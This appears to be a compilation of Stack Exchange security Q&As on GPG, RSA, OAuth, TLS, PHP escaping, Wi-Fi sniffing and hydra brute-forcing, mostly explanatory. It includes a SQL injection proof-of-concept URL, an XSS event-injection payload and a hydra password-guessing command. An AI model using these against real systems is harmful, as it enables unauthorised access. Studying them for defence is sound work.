Analogy: When signing an encrypted file, it is possible to conceal the recipient ID.  But how do you conceal the encryption algorithm used when using Symmetrical encryption using GnuPG, (gpg4win, in this case)?

Example:
gpg --armor --symmetric --cipher-algo AES256 --output encryptedOutputFile.asc unencryptedInputFile.txt

and then:
gpg --decrypt plaintextfile.txt

yields:
gpg: AES256 Encrypted Data
gpg: encrypted with 1 passphrase

Observation:

Somehow, gpg4win is using Space Magic to infer what the symmetric algorithm is even before the passphrase is entered.  How is this occurring?  I tried to eliminate the possibility of the algorithm being present in the cache, but it still is being inferred.  GPG uses CAST5 by default, so how is it inferring AES256?

So, how is GPG inferring that AES256 is used, even before the passphrase is specified?

Is there any way to conceal the algorithm used with a gpg -- flag?

Thank you!

Note, there is no legitimate reason to hide the algorithm used if you use a suitably strong passphrase/key.

If you are really concerned, you could open the encrypted file in a hex editor and change the fourth byte of the symmetrically encrypted ASCII armored file.

E.g., the first four bytes of an symmetric encrypted file are:

8C 0D 04 09

with the fourth byte being 09 indicating AES256.  See common/openpgpdefs.h to see other values:

typedef enum
  {
    CIPHER_ALGO_NONE        =  0,
    CIPHER_ALGO_IDEA        =  1,
    CIPHER_ALGO_3DES        =  2,
    CIPHER_ALGO_CAST5       =  3,
    CIPHER_ALGO_BLOWFISH    =  4, /* 128 bit */
    /* 5 & 6 are reserved */
    CIPHER_ALGO_AES         =  7,
    CIPHER_ALGO_AES192      =  8,
    CIPHER_ALGO_AES256      =  9,
    CIPHER_ALGO_TWOFISH     = 10, /* 256 bit */
    CIPHER_ALGO_CAMELLIA128 = 11,
    CIPHER_ALGO_CAMELLIA192 = 12,
    CIPHER_ALGO_CAMELLIA256 = 13
  }
cipher_algo_t;

So if you change the byte to 0a (decimal 10), it will think I used twofish rather than aes256.  It will not be possible to decrypt with gpg until I change the byte back to 09.

Before altering I see:

$ gpg -d some_file.gpg
gpg: AES256 encrypted data
Enter passphrase:

and after altering that byte I see:

$ gpg -d some_file.gpg
gpg: TWOFISH encrypted data
Enter passphrase:

Granted this only adds obscurity and forces you to remember to change the byte back and greatly lowers readability.  I do not suggest you do this.


Which part is the longest when gerating RSA key pairs? Whether I use openssll or gnutls's certtool, I end in a single threaded part which take several minutes.
When I try to compile the libraries with auto-parallelizer advanced efficient tools. It sill stay single threaded.

I would like to understand more before diving in large part of code for manual rewrite...

This looks weird. An anemic laptop from 2005 generates 4096-bit RSA keys (i.e. huge, overkill keys) in less than 10 seconds. "Several minutes" would indicate that there is something wrong in your system. Or that you are aiming for ridiculously large RSA keys (2048 bits are very fine; 3072 bits are understandable if you have paranoiac managers or must comply with some equally paranoiac regulations; 4096 bits are over-the-top exaggerated; beyond is just plain stupid, and will also incur interoperability issues).

In any case, RSA key pair generation mostly consists in producing two random prime numbers of about half the target modulus size. Generating a prime number boils down to, mostly, trying random odd integers until a prime one is found. This is amenable to high parallelism, although it rarely matters.

One must say that generating RSA keys securely requires some good knowledge of mathematics and cryptography. There are many RSA keys out there, which were produced from poor PRNG and are, therefore, highly breakable -- and it cannot be tested. I therefore strongly urge you to reconsider fiddling with such code.

Finding out why it takes several minutes on your machine is more important.


Why limit internet access while connected to a remote desktop? I work in the nuclear industry, and sometimes we have some strange (but understandable) standards for information security.  I have encountered one which seems odd and would like to know the potential rationale.

When offsite, employees must connect to a remote desktop to access site-specific files and databases.  To do this, I connect to a remote access site, after which I can remote connect to my machine.  However, after connecting to the site, all internet connections are lost (except of course my connection to the remote desktop).  This is supremely annoying, and not something I've experienced working at other similar sites.

My question is, what is the rationale for restricting my internet access while connected to a remote machine?  What sort of attacks could this prevent?

One of the primary concerns to limiting Internet access revolves around downloadable threats.

Malware that may be part of a botnet.
Viruses
Rootkits
etc..

These threats can obviously compromise security and is a common methodology used by attackers to gain entry to an environment.

If you get an agent based executable installed to your workstation that reports back to a central command and control mechanism it can be told to download keystroke loggers, remote access tools and other nefarious software that once installed can be used to further compromise the local infrastructure your machine is located in.  Your machine would be seen a beachead, if you will, for an attacker to get a toehold in your environment to further exploit other infrastructure that is available to you, the private user of the infrastructure.


Is OAuth2.0 really secure for a mobile application? I have been doing some research about using OAuth2.0 on our mobile application, but I'm really having trouble deciding whether OAuth2.0 really is the best choice.

Since we are not interacting with any 3rd party, we don't really have to go through the Authorization stage to authorize the third party resource.

One other requirement for our app is that a user should stay logged in indefinitely.

So my focus is on the next step.
But my research so far tells me that OAuth workflow is really not that secure.
A refresh token can be easily captured by connecting your device through a proxy like Fiddler.

I mean if someone is going to spend the effort to connect to a proxy, chances are they are willing to spend the effort to capture the refresh token, client secret and client id.

PKCE extension only limits the impact to possibly a single user.

So in my mind, using OAuth 2.0 is really not more secure than the traditional way of storing a session token, once you deactivate a token, security risk is mitigated. Blacklisting a refresh token still gives attacker some time (however many minutes is left on their JWT token)

It introduces all the complexity of refreshing a token, and dealing with token change when the app has been offline for a while etc...

So my question is: for a mobile app that keeps a user logged in indefinitely, is there a point in using OAuth2.0?

OAuth2 is a way of storing a session token.

It is, however, standardized and the the threat model is well documented. Even though OAuth2 was indeed designed for 3rd-party access to APIs, it is still relevant in 1st-part scenarios.

Regarding mobile applications and authentication UI, there are 2 ways of doing it:

using a native UI that sends the credentials (eg. login + password) to the backend to retrieve that session token. This can be either the OAuth2 Resource Owner Password Credentials or any other custom protocol
redirecting to the browser (browser-view) using the OAuth2 authorization code flow

In the latter case:

you enable SSO with other web or native applications using the same authentication service
you have to keep in mind that any application on a mobile can claim a custom redirect URI. This is why you still need the authorization page (so that the user can understand he's authorizing for the correct app, and not a malicious one).
also, PKCE helps with preventing token theft between the browser-view and the application

Note in addition that:

you can roll your refresh tokens on each token request (making the previous refresh token invalid)
the request for new tokens (on /token) ought to be done on HTTPS. It is then not possible to steal a refresh token
you don't necessarily have to use JWT access tokens if your security requirements demand immediate revocation of tokens

If your authentication scheme is simple, why not stick with a home-made session token solution. However, if it gets more complex, you might end up with shooting yourself in the foot and introducing security vulnerabilities that you would have avoided using standard OAuth2 servers and libraries.


Is an >=2048bit key with Asymmetric encryption secure enough to negotiate a Symmetric encryption key? Let's say that a client app already knows the public key of the server to which it needs to communicate with and the client app needs to connect to the server using a normal non-secured internet connection then may I assume that currently (in the current state of cryptography) a 2048bit Asymmetric Public Key and Encryption will be secure enough to allow the client and server to negotiate a symmetric encryption key?

You may ask how the client will know what the public key of the server is. In this scenario the client is written specifically for the server and they will use their own communication protocol and data thus I would assume that the server's public key might be coded into the client or maybe accessible to the client app from where it runs. I do understand that that scenario leaves the security open to anyone that has access to the client app.

I am in no way informed about which of the currently used asymmetric encryption algorithms provides the best security balanced with computational cost. I know a bit about RSA. If you have any suggestions about which are preferred then that may help me in my research as well.

Thank you for your input.

First let's recall a few notions, to avoid confusion.

Asymmetric encryption keys have structure, which is needed to support the "asymmetric" thing. Invariably, the best method to break properly defined and implemented asymmetric encryption is to try to unravel that internal structure. In the case of RSA, the public key is the combination of a big integer (the modulus) and a (normally short) exponent, and the "internal structure" is the knowledge of the prime factors of the modulus.

Different asymmetric encryption algorithms will use distinct structural elements, and there is no strong reason why different key types would offer the same "strength" for a given length, especially since the "length" is not an absolute property. In the case of RSA, the length is the size of the modulus; a 2048-bit RSA key is a RSA key whose modulus lies between 22047 and 22048. The complete RSA key is of course larger, when encoded into bytes, since you have to put the public exponent somewhere too.

Generally speaking, the main asymmetric cryptographic algorithms that can be encountered in practice are:

Algorithms based on integer factorization: the public key contains a big composite integer, and knowledge of the prime factors of that integer allows recovery of the private key. Main algorithm of that type is RSA; other (much less used) algorithms in that category include Rabin's encryption (and Rabin-Williams signatures) and Paillier's asymmetric encryption.
Algorithms based on discrete logarithm: there is a publicly known prime modulus p, and some integer g modulo p; private key is some integer x, and the public key is gx mod p. Most well-known algorithms of that category include Diffie-Hellman (key exchange), El Gamal (asymmetric encryption) and DSA (signatures).
Algorithms based on elliptic curves: these are actually the same algorithms as the discrete logarithm ones, except that computations are done in an algebraic object known as an elliptic curve, instead of modulo a prime integer p. The maths are more complex, but elliptic curves appear to be much more resilient to discrete logarithm for a given size, thus allowing the use of shorter elements (which, in turn, implies better performance).
Algorithms based on lattice reduction. This category is for NTRU. That algorithm has not yet gained significant acceptance (the patents do not help).

Factoring integers, breaking discrete logarithms... requires the use of some specialized algorithms that need both a lot of CPU and a lot of RAM. We usually like to "compare strengths" by trying to normalize attack costs against the cost of breaking a symmetric key by brute force. Symmetric keys are just bunches of bits; brute force is trying all possible combinations.

Of course, such a simple comparison does not, actually, work:

Cost of trying out one symmetric key depends on the involved encryption algorithm. Not all of them imply the same per-key effort.
Brute force of symmetric keys requires no RAM at all, and is amenable to parallelization. Algorithms for integer factorization, for instance, cannot be made fully parallel, and need an awful lot of RAM (especially the non-parallel parts).
Asymmetric keys are usually long-lived, contrary to symmetric keys; e.g., in your case, you have one RSA key, and will generate many symmetric keys on the fly. Thus, the return on investment for a key-cracking machine is usually higher for asymmetric keys (breaking one asymmetric key tends to yield a lot more power).

Nevertheless, this has not stopped various bodies from estimating the strength of various asymmetric keys, e.g. saying that a RSA 2048-bit key has roughly the same strength as a 112-bit symmetric key. For some freak and poorly understood reason, it seems that discrete logarithm and integer factorization offer similar strengths for the same modulus size (strictly speaking, the discrete logarithm is slightly stronger, with the currently known algorithm).

See this site for extended information on these estimations.

Bottom-line: RSA-2048 will be fine. When your system is broken, it won't be through upfront breaking of your key; rather, it will be through compromise of the server where you store the private key, be it because of a mundane buffer overflow, a careless mislaying of a backup tape, or the action of a disgruntled employee with shifty morals.


What is the meaning of similar JA3 in many APK malware analysis reports? In an online malware analysis website called - "Joe Sandbox", I found a few reports of APKS that have the exact same JA3 fingerprint:

https://www.joesandbox.com/analysis/103507/0/html
https://www.joesandbox.com/analysis/208046/0/html
https://www.joesandbox.com/analysis/209043/0/html
https://www.joesandbox.com/analysis/209453/0/html

Since they all share the same JA fingerprint, does it mean there is any connection between them? (By "connection" I mean - If they all were created by the same the developer, if they all were targeted a specific person etc) if not, why do they share the same JA3 fingerprint value?

JA3 is a fingerprint of the TLS stack of the TLS client and its specific configuration based on the ClientHello. As can be seen from this list the same JA3 fingerprint does not necessarily mean the same software or author. It might be for example possible that multiple authors use a specific TLS stack in the default configuration. But, a specific JA3 might nevertheless be used as a possible indicator of compromise, especially if this fingerprint is different from other (known good) programs in the same network.


How to bypass DNS spoofing protection I know that SSL certificates prevent DNS spoofing, but I was wondering why it is not possible after ARP cache poisoning to set up iptables rules and redirect the origin destination to fake page?

SSL does not prevent DNS spoofing itself but it prevents that it can be successfully used.

If the certificate of the site does not match the name given the URL the certificate validation will fail. It does not matter how an attacker redirected the client to the other server, that is no matter if DNS spoofing, changes of the routing or ARP cache poising were used the certificate validation will fail because the server is unable to present the expected certificate.

To mount a successful attack against SSL you must be able to use a certificate acceptable by the victim, i.e. matching the hostname from the URL and also be signed by a trusted CA (and even more restrictions if certificate/pubkey pinning is involved).


Hardware Implementation of Encryption Algorithm In the abstract of the AES-GCM RFC, the following passage is prominently included:

  [AES-GCM] can be efficiently implemented in hardware for speeds of 10 gigabits per second and above...

Is the ease/efficiency of hardware implementation a significant consideration in cipher suite or encryption mode? If so, how big a factor is it in the popularity of the system?

More practically, are there examples of common ciphers that present serious challenges in implementation? Or would this immediately discount them?

AES Competition

On the suggestion of the LateralFractal, I looked at the design evaluation criteria for the AES competition. There is a line that references hardware (the criterion is given as "Hardware and software suitability"). That being said, this still doesn't speak to the degree to which this criterion is taken into account.

DFC Example

This paper describing an attack on DFC seems to be a good real-world example. Seeing as this SO's own Thomas Pornin had a role in the cipher's development, I'd be curious hear:

The severity of this proposed attack in the eyes of the community
The response from the cipher authors
Possible ways in which this attack could have been avoided

The AES competition received 15 candidates, two of which suffered from "academic breaks" (weaknesses that are only theoretical, but still demonstrate that the underlying block cipher is not "optimally secure"). The remaining 13 are, to my knowledge, still unbroken to this day.

Therefore, the choice of Rijndael had to be done for reasons other than security. Performance, in particular ease to implement efficiently on a number of software and hardware platforms, was what mattered in the end. Rijndael was chosen because it behaved well on many systems. On a PC, RC6 was faster, but on other platforms (RISC-based CPU like Sparc, 8-bit CPU on smart cards, FPGA...) Rijndael was faster/cheaper (RC6 requires a 32x32 bits multiplication, which is cheap when you already have it, not so when you don't). For that matter, DFC was worse, since it needed a 64x64 multiplication. The "attack" described by Harvey is more an observation that reduction modulo 264+13, though it can be done without a division (which would be even more expensive), can be difficult to do properly, i.e. without leaking information (see timing attacks).

Other informal criteria included the fact that Rijndael's key schedule was fast too (contrary to, say, Twofish), and that Rijndael's inventors were from a non-threatening, non-controversial, quaint little country (Belgium), thus more likely to lead to worldwide adoption.

As another example, pretty much all of the SHA-3 competition was about performance. All 14 second-round candidates are "equally strong" (we don't know how to break any of them, even in an unrealistic academic way) but they were not equivalent when implemented in software or hardware. The ultimate choice criteria were never made clear by NIST (and it seems they changed mid-competition), but the fact that Keccak is devilishly fast in hardware (ASIC/FPGA) was certainly instrumental to its victory.


Is it possible for users to insert forbidden characters into sites with htmlentities or mysqlescapestring? So, in my brief research in PHP security, I have been guided toward two important functions to remove forbidden characters from forms. One being "htmlentities" and the other being "mysql_escape_string" - what I am wondering is if there is a common way for hackers to insert malicious forbidden characters in to the forms despite the functions. I am suspicious that this is possible, since this is such a commonly employed security technique. Is an extra layer of security needed?

NB: I understand that mysql_escape_string may become deprecated soon.

While mysql_escape_string() is an alright method of preventing SQL injection,  parameterized queries are a much better approach. mysql_escape_string() is still not perfect; for example the following is vulnerable to SQL injection:

$q="select * from user where uid=".mysql_real_escape_string($_GET[uid]);

The PoC is simple:

http://localhost/vuln.php?uid=sleep(30)

Use parameterized queries!

htmlentities(),  or htmlspecialchars() will prevent some types of XSS.  They won't prevent XSS in DOM events.  This method won't prevent injecting events for example: value='junk' onclick=alert(/xss/).   htmlspecialchars($var,ENT_QUOTES) is a little better,  because it prevents DOM event injection, but you can still hijack an event (see the "it's a DOM event" blog post).

So these two functions will partially mitigate two vulnerabilities out of a couple thousand.  To call out some of the big offenders that will not be mitigated by mysql_real_escape_string() or htmlentites() we have: Directory traversal (and LFI/RFI for PHP), LDAP injection, XPATH injection,  HTTP Response Splitting, Log file injection...  and the list goes on.

Escaping input has nothing to do with removing "forbidden characters". It's about converting escape characters (or sequences of characters) into their "character literal" such that attacker controlled data is still interpreted as data, and not executable code.


How to track a laptop after theft? Our company had a break-in this evening and a laptop was stolen. The data on the laptop was not super-sensitive (luckily); however, we would like to be able to track the laptop if at all possible.

The laptop is a Win7 x64 laptop, a newer Dell business model. There is no lojack software or anything of that nature pre-loaded on the laptop.

In this situation, what would some best first steps be, and do you know of any tricks that can be used to track or monitor a laptop after it has been stolen?

I think this video here will give you some ideas: What happens when you steal a hackers computer (Defcon 18). This is however a MAC PC, but it will give you some ideas.


What security requirements do you have for Domain Administrators? With regard to managing a Windows network, what security polices and processes do you use? For example

Do you require/support Smart Card
Authentication?
Restrict logins
from a particular workstation?
Require more complex passwords for
Administrator accounts?
Issue
two accounts per use (admin, and
standard account)?
Enforce through policy or otherwise, that the non admin account
is used locally
The use of a
different computer, or VM for
administrative tasks

etc..

It would be helpful to know your practice, what industry you are in, and approximately how large your company/business/school is.  Ideally, we can use this information to compare practices amongst peers.

Note:

If you're discussing policies regarding your current, live, place of business, consider replying to this survey in a confidential manner.  This may require you to "log out" and log in using a different OpenID.

You be the best judge as to what works for you.  In the meantime more information can be found here:

Should we support anonymous postings?

Having worked in both Public and Private sectors as an Info Sec guy I have had the opportunity to see how many organisations approach this and here are some of my observations;

Do you require/support Smart Card Authentication?

I have yet to find an organisation that has deployed smart card auth.

Restrict logins from a particular workstation?

This should be a basic building block, but many sites still fail to restrict access in this way. Further to this, specific accounts that require admin privileges should also be restricted to the specific servers / workstations required. Overly permissive rights can lead to domain compromise.

Require more complex passwords for Administrator accounts?

One site had a fantastic approach to this, they used a long pass phrase for the admin accounts. This served two aims. One - It protected against brute force attacks (who is going to have a dictionary or hash table for a fifteen word sentence?) and secondly it was used to stop the support team from giving the password out on the phone, as it would be obvious they were doing so. That team had a long history of passing out the admin passwords to stop them from having to leave their office and visiting users!

The use of a different computer, or VM for administrative tasks

The use of a management VLAN or other segregation is a good approach. Taking sensitive traffic and access away from the corporate lan is a start.

You should also have an approach to address the use and update to management tools. Deprecated management tools can lead to full domain compromise and a prolific on internal networks. How many times have you thought to patch your 'HP Management Service' or even turn it off? How many remote connection tools do your support team need? I have been on site where Terminal Services / VNC / DameWare and other remote tools were all in use on the same network for the same servers!

So take away here would be to review your approach to the use of management tools, disable those you don't need, reduce overlap of tools used to complete the same task and patch those you choose to maintain.


Do I need my own server for signing certificates? Sorry for any confusion with this question. I'm not even sure exactly what I'm asking.

So what I'm trying to do is reverse-engineer an android app, and then building a python program on my Windows PC to connect to the server of that app.

I ran into some problems though with some sort of "sign request" that has to be passed through the headers.

On some random website, I was able to find an old post by someone with some coding to do the "sign request", but it's referencing to a "signing server", and I don't what that means exactly.. like whether or not I need to setup my own server and install a certificate, etc. (or if it can be a self signed cert)

Anyways, here is a piece of the code (from the other site) where I am trying to figure out what to do with the signing server.

(there's some other code but I'm sure it's not important.. mostly just curious about this first line with the URL which I'm sure is just an example)

signing_server = "http://20.45.122.164:8888/sign"
payload = "some random data"
resp = session.get(signing_server, data = payload)

(ultimately I need the signature from this like of code)
return json.loads(resp.text)["signature"]

Any idea? I don't know much about this stuff... but I'm hoping it's something easy where I can just throw in some random server online and have it signed for me.

You are probably asking about Public Key Infrastructure. Or some similar design.

PKI works in the way you generate a certificate signing request on your device then you sign it with your private key to make sure that you are the person / device who is requesting the certificate. Once you have this CSR generated you send it to the server. In automatic mode, the server validates the CSR, basically, it takes a look to the signing request, what purposes you are requesting certificates for (it can be a server certificate, client certificate, certificate for signing emails, whatever) then it checks if the certificate signing request is signed by somebody who owns the certificate allowing him to send signing requests to server (the csr contains the certificate including public key of the private key used to sign the CSR). If everything is valid the certificate is issued to you and signed by server. In non-autonomous mode there is usually person who takes a look on the CSR and validates that you (requestor) are you (i.e. by mail, phone, by checking your ID card, whatever standard identity checking method). Thats in short. Take a look on www.google.com/search?q=PKI, it includes a lot of standards and formats.

I have no clue what the application you are hacking is trying to achieve. It seems to me it is trying to do exactly what I've described but who knows what it collects for CSR in the device and what is included into payload. From my perspective it should be doable as the private key used to sign the payload must be stored in the device itself if it is used at all. But ofcourse, if it is protected with any kind of password which you don't know you are lost.

Its hard to help you without closer information about the application and the server you are trying to connect to. I wouldn't rather ask what it is.

Furthermore, I would also recommend you to don't ask such hacking questions here as it seems you are trying to achieve something bad, something what was not intention of the software authors.


Is it possible to estimate a Windows servers uptime remotely? I am working on the security analysis of a system and some of it's security measurements are based on the Environment.TickCount property exposed by the .NET Framework. As stated by Microsoft:

  Because the value of the TickCount property value is a 32-bit signed integer, if the system runs continuously, TickCount will increment from zero to Int32.MaxValue for approximately 24.9 days, then jump to Int32.MinValue, which is a negative number, then increment back to zero during the next 24.9 days. You can work around this issue by calling the Windows GetTickCount function, which resets to zero after approximately 49.7 days, or by calling the GetTickCount64 function.

So when knowning the estimated uptime of the server one could roughly estimate the value of Environment.TickCount too. This would weaken the security of the system significantly. A brute-force attack on the complete range of possible TickCount values would take an estimated 2 and a half days with my current implementation (which is not very long either), a ballpark value to pick a starting point in the value-space would make this search much more efficient.

The server is running fully patched Windows Server 2012 R2 and the only exposed service would be IIS serving some ASP.NET pages (maybe IIS leaks some of this information).

TCP Timestamps can potentially be used to estimate uptime for Windows 2012. Nmap still uses this technique to guess uptimes.

Disabling this feature can have performance impacts, so it is often left open.


Is cookie-based XSS exploitable? Today I've found interesting site that output your cookie value directly to the page, so if I modify the cookie value I can XSS myself.

e.g Last visit: Cookie_Value_Of_Something

So my question is, do you think this is vulnerable or can I exploit this?

It looks like useless to me so far.

To exploit this flaw, the attacker would need to manipulate the user’s cookie. And this is only possible if he is able to exploit another vulnerability that allows him to set the cookie with the XSS payload as one can only set cookies within the domain the Set-Cookie originated from:

  The user agent will reject cookies unless the Domain attribute
     specifies a scope for the cookie that would include the origin
     server.  For example, the user agent will accept a cookie with a
     Domain attribute of "example.com" or of "foo.example.com" from
     foo.example.com, but the user agent will not accept a cookie with a
     Domain attribute of "bar.example.com" or of "baz.foo.example.com".

And besides compromising the server, there are two possible attack vectors for manipulating the cookie value: Either the attacker manages to inject the exploit into the value that gets set as the cookie value by the site author’s script, e.g., some user provided values are used for the cookie value. Or the attacker has access to a sub-domain and he is able to set a cookie for the super-domain in which vulnerable script that prints the cookie value resides. Both vectors can be executed by using Cross-Site Request Forgery.


Sniff Wi-Fi network traffic With Airodump I can see Wi-Fi networks and clients associated to them. I know password to this Wi-Fi networks. Is it possible to dump encrypted traffic between AP and client (WPA2) and then decrypt it with password to see unencrypted traffic?

If you are able to sniff your traffic in Wireshark:

Edit --> Preferences --> Protocols --> IEEE 802.11 --> Decrypt --> Enter hexadecimal key.


Why use 256-bit symmetric encryption in TLS when 2048-bit RSA doesn't even offer 128-bit strength? I've noticed that websites start to use 256-bit symmetric encryption, but often still end up using 2048-bit RSA keys.

http://www.keylength.com/en/3/

The link above displays the ECRYPT II recommendations, which state that 128-bit symmetric and 3248-bit asymmetric encryption have a compareable strength.

The NIST recommendations state that 128-bit symmetric is comparable to 3072-bit asymmetric encryption.

This would mean that 2048-bit RSA is weaker than 128-bit symmetric encryption. Which makes me wonder why websites are starting to offer 256-bit symmetric encryption while the weakest link (RSA) doesn't even offer 128-bit strength.

Is there anything I'm missing here?

People use 256-bit encryption because they can, and, given the choice, people tend to go for the biggest numbers, because they feel that they "deserve it".

Scientifically, it does not indeed make sense to use AES-256 when the key exchange relies on 2048-bit RSA. This is just wasted CPU cycles; AES-128 would have been equally fine. But "256" can woo auditors into submission. Such are the intricacies of the human psychology.


Format for data & symmetric key exchange/storage Is there a standard format for storing/exchanging encrypted data along with the key needed to decrypt it (data is encrypted with a single use symmetric key and the symmetric key itself is encrypted with asymmetric key for the receiver)?
We are trying to build an interoperable protocol to exchange large messages between two parties that may not agree on much else besides using asymmetric keys. The best way seems to be using a symmetric single use key to encrypt the data and then encrypt the symmetric key with the asymmetric key and pass along the whole thing as a package (e.g. RSA wrapped AES). So is there any widely used standard for sharing the encrypted text along with its key, preferably along with some information about the symmetric algorithm used.
The only work that I found in that direction is OpenPGP which I feel is somewhat too email focused. I was wondering if there is anything else that has more metadata along with it to describe the alogs and the keys.
Update: my application uses JSON to store some additional meta outside of the envelope.

One of standards is WSSEncryption. A message can be encrypted with symmetric algorithm e.g. AES-128 or AES-256. The encryption key itself can be encrypted with RSA.

Many software products support it out of the box. For instance, if you prefer Java EE, you may want to use WildFly or WebSphere Application Server. If you prefer C#, use WCF.

The web service standards WSSEncryption, WS-Security and SOAP in general are widely used and provide very good interoperability. Every party can use any platform it prefers. E.g. one party can use WildFly, the other WCF, and client on one one platform can consume web service implemented on another platform and vice versa.


How secure it is to store encrypted password in HTML5 local storage? Background

I am trying to develop a web application where a user will be able to login using their password 'P' and upon logging in can create a master password 'MP'. MP can be used to open / close a vault (much like password managers) wherein the user can store sensitive information. Upon doing some research on the topic I have decided to ensure the followings:

The master password MP is never stored on / sent to the server
All encryption / decryption are carried out on client side (in my case that is the browser)

Now as I am storing the key MP′ (defined below) in memory, the vault is essentially closed every time the browser is refreshed or the user opens the site on a new tab. How can I keep the vault to stay open for as long as the user wants? Cookie is not a solution as that will cause MP′ to be sent to the server on every request; however, HTML5 local storage may be a possibility

Now if a hacker happens to get access to the local storage, they would get MP′ and can decrypt all sensitive information using it. As a solution here is what I am thinking of:

When the vault is opened, client requests for a one-time random key 'Rk' from the server
Server generates Rk, stores it in the user's session and sends it back to the client
Client uses Rk to encrypt MP′ to get MP′′
MP′′ is stored in HTML5 local storage while Rk is held in memory
When needed MP′′ can be decrypted using Rk and used for subsequent operations
On browser refresh, the client re-fetches Rk from server (the server simply returns the one already stored in session)
Rk is expired if the user explicitly closes the vault or ends the session by logging out

The question

How secure would this solution be? Any obvious caveat that I am missing? What would be the ideal approach to fix it?

Additional notes

For your understanding here is a brief overview of how I am planning to fulfill my needs:

User creates a new MP
MP is encrypted with a key-stretching algorithm to produce MP′
MP′ is used as a key to encrypt a known value V to get Vh (obviously V ≠ MP or MP′)
Vh is stored on server against the user's record

Vh serves 2 purposes:

It indicates that the user has already created an MP. If it is yet not there I can ask the user to create a new one
Whenever the user enters MP to open the vault, I can retrieve Vh from server and try decrypting it with MP′. If the decryption is successful, I assume that the user entered the right MP

As you can imagine here's how the rest should work:

Whenever the user wants to store / retrieve sensitive information:

They login using P and open their vault with MP
The client produces MP′ as previously mentioned
Sensitive information are encrypted using MP′ before being sent and stored on server
Based on user's need, encrypted sensitive information is retrieved from server (as is)
Client uses MP′ to decrypt the data

There are several problems with your approach:

1) Forward Secrecy. Suppose the attacker can monitor the communication (via hacked corporate https proxy or other way). At some later point the user deletes the account and reveals MP as he think it's useless. Using the logged data and MP all information can be restored by the attacker because you are encrypting the vault with MP'.

2) It's not clear how do you defend against compromising P. Capturing P (which goes over the network) the attacker can log in, acquire Rk and decrypt MP", unless Rk is regenerated at all logins, what means the user will be effectively logged out if she closes the browser (it might be ok and intended, I don't know). Anyway, it's better not to send P (see ideas below).

3) Encryption will give you limited security improvement. If the attacker can access localStorage, she probably has physical access and/or  compromised your machine, so you are doomed anyway (you are facing keyloggers, local script injections, whatever). Encryption will help you if the hard disc is stolen or the attacker is able to fake your domain (eg. DNS cache poisoning). It's better not to store the password in the first place.

Several ideas:

to mitigate (1) use one time session keys to encrypt all messages. For example you can use asymmetric crypto to send some random session key to the server (encrypted with the server's public key). Alternatively, you may want to enforce proper SSL sessions (by informing and educating your users ) since SSL has quiet good forward secrecy.
for (2) instead of using P to authenticate, use some advanced method eg. OAuth, preferably 2FA.
you might consider using sessionStorage instead of localStorage which is guaranteed to be deleted at browser restart (other ways it's very similar to cookies without networking). I'm not sure if all (or any) implementations can securely remove all traces of the storage at exit, so encryption still might be a good idea.


How to create an Apple Installer Package Signing Certificate How can we create a certificate with the following Extended Key Usage extension using OpenSSL?

  Extended Key Usage extension, critical, with a purpose containing Developer ID Installer Package Code Signing (1.2.840.113635.100.4.13)

Apple's developer tool productsign requires the signing certificate to conform to the Installer Package Signing Certificate profile described in Certification Authority Certification Practice Statement Developer ID (page 14 of 18).

I would like to sign our product preview releases with our own certificates, rather than those issued by Apple.

A copy-paste documentation for myself. For more information about the certificate extensions, have a look at Apple Developer ID Certification Practice Statement.

Create apple.conf with the following content:

[ req ]
distinguished_name = req_name
prompt = no
[ req_name ]
CN = my-test-installer
[ extensions ]
basicConstraints=critical,CA:false
keyUsage=critical,digitalSignature
extendedKeyUsage=critical,1.2.840.113635.100.4.13
1.2.840.113635.100.6.1.14=critical,DER:0500

Generate the key:

openssl genrsa -out apple.key  2048
Create the self-signed certificate:

openssl req -x509 -new -config apple.conf -nodes \
-key apple.key -extensions extensions -sha256 -out apple.crt

Wrap the key and certificate into PKCS#12:

openssl pkcs12 -export -inkey apple.key -in apple.crt -out apple.p12
Import it into keychain with open apple.p12. Select "Always trust".
Use the certificate to sign installers:

productbuild --sign "my-test-installer" ...


How to prevent my web searches showing up as ads on family members device with same wifi connection? Today I was shopping for a New Years journal on my desktop and apparently other family members' devices started showing up ads for the same. I feel this could be because we are all on the same wifi. We do not share any email or social media accounts. I am confused about how to prevent this from happening in the future.

Will installing a VPN or AdGuard premium on my computer help with this?

It really depends on how the advertising server are serving the adverts - it could be based on IP tracking, in which case the only way to avoid it would be to use a separate connection, in this case meaning a VPN, Tor, a mobile hotspot etc.  If other devices are using the same account, such as the same Google, Facebook, or Microsoft account, then that would provide another method for determining devices are the same person, but you say that isn't the case.  There is also the possibility that you have installed adware inadvertently which has infected other devices on your network, but if they are different OSes and everything is up to date this is probably least likely.

There is also the possibility that it's a coincidence.  You all live in the same area, may have similar interests, and it is the new year, so showing new year journals might not mean anything.  When it comes to birthdays/holidays though you may want to utilise VPN and private browsing.


Prevent GPG from exposing portion of private key I have three keys;  I'll refer to them as 'foo' [C], 'bar' [SE], and 'baz' [A].  Whenever I run gpg2 --export-private-subkeys baz!, it asks for a password, as it should.  However, if I click 'Cancel', it proceeds to print out half of the private key anyway!

Output of wc when I don't enter a password:  29 36 1658.
Output of wc when I do enter a password:   60 67 3717.

By comparing the output from "no password" to the output from "yes password", I can see that the text is, indeed, identical to the first half of the 'baz' key.

Even stranger, when I run gpg2 --export-private-subkeys on 'foo' or 'bar', it still prints out half of 'baz' when I decline to enter a password!

Is there any way I can stop it from exposing half of 'baz' when there is no password entered?  Why do you think it would be doing this?

When you use the --export-secret-subkeys command, it will export the public part of the key as well. You're seeing the output of that. You can test with the following:

gpg2 --export-secret-subkeys > /tmp/cancelled.gpg
gpg2 --export-secret-subkeys > /tmp/not-cancelled.gpg

Cancel the passphrase input on the first one, and then try this:

export GNUPGHOME=$(mktemp -d)
gpg2 --import /tmp/cancelled.gpg
# the output will mention importing the public key
# you will not be asked for the passphrase
gpg2 --list-secret-keys
# the output will be empty

Do the same with the non-cancelled one:

export GNUPGHOME=$(mktemp -d)
gpg2 --import /tmp/non-cancelled.gpg
# the output will mention importing the public and secret keys
# you will also need to put in the passphrase to import the key
gpg2 --list-secret-keys
# the output will show the secret key

So, when you click "Cancel" only the public key is written out.


Cracking a web form based logon with hydra How do I have to use hydra on a web form?

What I have done so far:
I already successfully used hydra on a folder with an HTTP authentication:

http://localhost/test/authtest/

with user admin and password 1234, I successfully found out the password with:

hydra -l admin -x 1:5:1 -t 1 -f -vV 127.0.0.1 http-get /test/authtest/

But how would I have to try a run on a web form like

http://127.0.0.1/test/login.php?&username=admin&password=1234

Basically, you need to specify two things:

Where the username and password go.
How to determine success/failure of the request.

